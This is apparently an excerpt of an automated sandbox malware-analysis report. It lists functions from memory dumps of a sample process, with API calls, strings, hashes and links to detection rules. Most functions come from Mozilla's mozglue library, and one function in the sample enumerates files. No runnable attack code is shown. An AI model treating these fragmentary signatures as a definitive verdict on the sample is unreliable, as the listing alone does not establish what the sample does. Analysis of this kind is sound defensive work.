Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: b03f0a4d87afb8866ea494d0cb1803793ac88b2b782cef579730b9a02477b69f
Instruction ID: 3fee2fe460b80cf297b0314ebb6a0ac0c67cf4e8779ae595d627ccfa9a1c6bee
Opcode Fuzzy Hash: b03f0a4d87afb8866ea494d0cb1803793ac88b2b782cef579730b9a02477b69f
Instruction Fuzzy Hash: 8EE012B9E1430663CF0073B0BC0AB2A339DDB15345F080525FA05D2102FA29E800957A

Non-executed Functions

Function 6C575440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C575492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5754A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5754BE
__Init_thread_footer.LIBCMT ref: 6C5754DB

Part of subcall function 6C59AB3F: EnterCriticalSection.KERNEL32(6C5EE370,?,?,6C563527,6C5EF6CC,?,?,?,?,?,?,?,?,6C563284), ref: 6C59AB49
Part of subcall function 6C59AB3F: LeaveCriticalSection.KERNEL32(6C5EE370,?,6C563527,6C5EF6CC,?,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C59AB7C

Part of subcall function 6C59CBE8: GetCurrentProcess.KERNEL32(?,6C5631A7), ref: 6C59CBF1
Part of subcall function 6C59CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5631A7), ref: 6C59CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5754F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C575516
GetCurrentThreadId.KERNEL32 ref: 6C57556A
AcquireSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C575577
moz_xmalloc.MOZGLUE(00000070), ref: 6C575585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C575590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5755E6
ReleaseSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C575606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C575616

Part of subcall function 6C59AB89: EnterCriticalSection.KERNEL32(6C5EE370,?,?,?,6C5634DE,6C5EF6CC,?,?,?,?,?,?,?,6C563284), ref: 6C59AB94
Part of subcall function 6C59AB89: LeaveCriticalSection.KERNEL32(6C5EE370,?,6C5634DE,6C5EF6CC,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C59ABD1

GetCurrentThreadId.KERNEL32 ref: 6C57563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C575646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C57567C
free.MOZGLUE(?), ref: 6C5756AE

Part of subcall function 6C585E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C585EDB
Part of subcall function 6C585E90: memset.VCRUNTIME140(ew\l,000000E5,?), ref: 6C585F27
Part of subcall function 6C585E90: LeaveCriticalSection.KERNEL32(?), ref: 6C585FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5756E8
GetCurrentThreadId.KERNEL32 ref: 6C575707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C57570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C575729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C57574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C57576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C575796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5757B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5757CA

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5754A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C575717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C575AC9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C575D01
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C575C56
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5756E3
GeckoMain, xrefs: 6C575554, 6C5755D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C57584E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C575766
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C575D24
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C575724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C575791
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5754B9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C575D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C575B38
[I %d/%d] profiler_init, xrefs: 6C57564E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C575BBE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C57548D
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5757AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C575749
MOZ_PROFILER_STARTUP, xrefs: 6C5755E1
MOZ_BASE_PROFILER_HELP, xrefs: 6C575511
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C575D2B
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C575CF9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5757C5

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 8f7f5f7542a32427fc1e68e9b5a0af89e28d944723a1b9d3b2451da24c56552a
Instruction ID: 123a1585a4cb2d4b9445ceff34cac8f2b70f36d89f85fb22ce2c04cb89c644b1
Opcode Fuzzy Hash: 8f7f5f7542a32427fc1e68e9b5a0af89e28d944723a1b9d3b2451da24c56552a
Instruction Fuzzy Hash: 232237709043409FEB10AF758C4476E7BB5FF8A348F91092AE84A87B41EB31D885CB67

Function 6C576C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C576CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C576D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C576D26

Part of subcall function 6C57CA10: malloc.MOZGLUE(?), ref: 6C57CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C576D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C576D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C576D73
free.MOZGLUE(00000000), ref: 6C576D80
CertGetNameStringW.CRYPT32 ref: 6C576DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C576DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C576DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C576DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C576E10
CryptMsgClose.CRYPT32(00000000), ref: 6C576E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C576E34
CreateFileW.KERNEL32 ref: 6C576EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C576F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C576F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C57709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C577103
free.MOZGLUE(00000000), ref: 6C577153
CloseHandle.KERNEL32(?), ref: 6C577176
__Init_thread_footer.LIBCMT ref: 6C577209
__Init_thread_footer.LIBCMT ref: 6C57723A
__Init_thread_footer.LIBCMT ref: 6C57726B
__Init_thread_footer.LIBCMT ref: 6C57729C
__Init_thread_footer.LIBCMT ref: 6C5772DC
__Init_thread_footer.LIBCMT ref: 6C57730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5773C2
VerSetConditionMask.NTDLL ref: 6C5773F3
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6C5773FF
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003), ref: 6C577406
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003), ref: 6C57740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C57741A
moz_xmalloc.MOZGLUE(?), ref: 6C57755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C577568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C577585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C577598
free.MOZGLUE(00000000), ref: 6C5775AC

Part of subcall function 6C59AB89: EnterCriticalSection.KERNEL32(6C5EE370,?,?,?,6C5634DE,6C5EF6CC,?,?,?,?,?,?,?,6C563284), ref: 6C59AB94
Part of subcall function 6C59AB89: LeaveCriticalSection.KERNEL32(6C5EE370,?,6C5634DE,6C5EF6CC,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C59ABD1

Strings

SHA256, xrefs: 6C576EC0
(, xrefs: 6C57768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C5772C8
wintrust.dll, xrefs: 6C5772CD

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 8431d3a0c0fc863b9c1ff32da14db58e45cddca7ee16d39638ee079e31002e05
Instruction ID: d3daed09e38db25cc7ae994b21dbf0bf3c5347c8548bd53a6d2727249b222469
Opcode Fuzzy Hash: 8431d3a0c0fc863b9c1ff32da14db58e45cddca7ee16d39638ee079e31002e05
Instruction Fuzzy Hash: BC52E571A04314DFEB62DF24DC84BAA77B9EB89304F114199E909A7640DB70AFC4CFA5

Function 6C5A0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5A0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5A0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5A0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5A0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5A1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5A10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5A117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5A1C39
EnterCriticalSection.KERNEL32(6C5EE744), ref: 6C5A3391
LeaveCriticalSection.KERNEL32(6C5EE744), ref: 6C5A33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5A3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5A3437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5A3793
Compile-time page size does not divide the runtime one., xrefs: 6C5A3946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5A3559, 6C5A382D, 6C5A3848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5A37D2
<jemalloc>, xrefs: 6C5A3941, 6C5A39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5A37A8
MOZ_CRASH(), xrefs: 6C5A3950
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5A3A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5A37BD
MALLOC_OPTIONS, xrefs: 6C5A35FE

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 357572f0366c9f07d3a78bf6e4b7c0473d8112f092d5d2024cc38817f20f574e
Instruction ID: 9717002268eba129040d86ea80cc85c23ea8eeb08292eb69757212b6132f8cb0
Opcode Fuzzy Hash: 357572f0366c9f07d3a78bf6e4b7c0473d8112f092d5d2024cc38817f20f574e
Instruction Fuzzy Hash: 4C538F71A05701CFD704CF6AC94061AFBE1BF89328F29C66DE8699B791D771E842CB81

Function 6C5C34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C3EE2

Part of subcall function 6C5C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5C61DD
Part of subcall function 6C5C6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C5C622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C4157

Part of subcall function 6C5C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5C6250
Part of subcall function 6C5C6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5C6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5C4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5C484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5C4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5C4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5C4896
free.MOZGLUE ref: 6C5C489F

Strings

, xrefs: 6C5C4CD2

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3a9e96af297b6147fb972aa58c7514aa8274791a52a06002ed221b5f49dffe90
Instruction ID: 9e3bb22fd3df9cfec1acab56b0601c5f81c7fa55ae8bd744f36eaf924201923a
Opcode Fuzzy Hash: 3a9e96af297b6147fb972aa58c7514aa8274791a52a06002ed221b5f49dffe90
Instruction Fuzzy Hash: 7EF24C74908780CFC761CF28C4846AAFBF1BFC9358F118A5ED99997711DB31A886CB46

Function 6C5764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C576505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C576518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C57652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C57671C
GetCurrentProcess.KERNEL32 ref: 6C576724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C57672F
GetCurrentProcess.KERNEL32 ref: 6C576759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C576764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C576A80
GetSystemInfo.KERNEL32(?), ref: 6C576ABE
__Init_thread_footer.LIBCMT ref: 6C576AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C576AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C576AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C576798
nvd3d9wrap.dll, xrefs: 6C576500
detoured.dll, xrefs: 6C5764DA
nvdxgiwrap.dll, xrefs: 6C576513
_etoured.dll, xrefs: 6C5764ED
user32.dll, xrefs: 6C576526

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3776caf7624d2dcb70dac94d1e01b9026963b9b9332eabe4cc0dde5320c2a136
Instruction ID: 99d5e0cae308f74bfd8783a9eb804997033a5ff2d1decf630b9f6e5826ac756c
Opcode Fuzzy Hash: 3776caf7624d2dcb70dac94d1e01b9026963b9b9332eabe4cc0dde5320c2a136
Instruction Fuzzy Hash: 85F1AD70905319DFDB20DF24CC88B9AB7B5AF4A318F144299D819A7641EB31AEC4CFA5

Function 00DA38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DA38CC
FindFirstFileA.KERNEL32(?,?), ref: 00DA38E3
lstrcat.KERNEL32(?,?), ref: 00DA3935
StrCmpCA.SHLWAPI(?,00DB0F70), ref: 00DA3947
StrCmpCA.SHLWAPI(?,00DB0F74), ref: 00DA395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00DA3C67
FindClose.KERNEL32(000000FF), ref: 00DA3C7C

Strings

%s\%s, xrefs: 00DA3A6F
%s\%s\%s, xrefs: 00DA3A4A
%s\%s, xrefs: 00DA397A
%s\*, xrefs: 00DA38C0
%s%s, xrefs: 00DA3AAD

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: cbcd0983e18244e5cb3cbcc38810cbc804b1cb90b888ebc71e0fd6554848d1d1
Instruction ID: 88454484bb1622097c2fcdb4e1cf8d0619d41bfd07469f60291d96471b36b476
Opcode Fuzzy Hash: cbcd0983e18244e5cb3cbcc38810cbc804b1cb90b888ebc71e0fd6554848d1d1
Instruction Fuzzy Hash: E3A11EB2A002189BDB24DBA4DC85FEA777AFB49300F084589B50E96141EB759B84DF72

Function 6C5CC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5CC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5CC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5CC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5CC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C5CC9D5
